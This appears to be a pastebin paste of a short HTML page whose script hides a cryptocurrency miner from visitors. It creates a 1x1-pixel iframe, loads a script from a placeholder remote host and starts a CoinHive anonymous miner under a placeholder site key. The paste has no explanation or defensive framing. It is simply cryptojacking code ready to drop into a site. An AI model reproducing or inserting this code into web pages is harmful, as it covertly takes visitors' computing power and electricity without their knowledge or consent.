Author: subinacls Language: text
Description: Not specified Timestamp: 2018-04-01 03:46:07 +0000
View raw paste Reply
  1.  
  2. <html>
  3. <body>
  4. <script>
  5.  
  6. function iframed(ifcount) {
  7.  var content = "<script src=\"http://site/andmy.js\"><\/script><script>var miner"+ifcount+" = new CoinHive.Anonymous('sitekey')\;miner"+ifcount+".start()\;<\/script>";
  8.  var iname = document.createElement('iframe');
  9.  iname.id = 'iframe'+ifcount;
  10.  iname.height ="1";
  11.  iname.width ="1";
  12.  document.body.appendChild(iname);
  13.  var ifidname = document.getElementById('iframe'+ifcount)
  14.  ifidname.contentWindow.document.open();
  15.  ifidname.contentWindow.document.write(content);
  16.  ifidname.contentWindow.document.close();
  17.  
  18. }
  19.  
  20. var counter = 0;
  21. while (counter < 1) {
  22.   counter++;
  23.   iframed(counter);
  24. }
  25.  
  26. </script>
  27. </body>
  28. </html>
  29.  
View raw paste Reply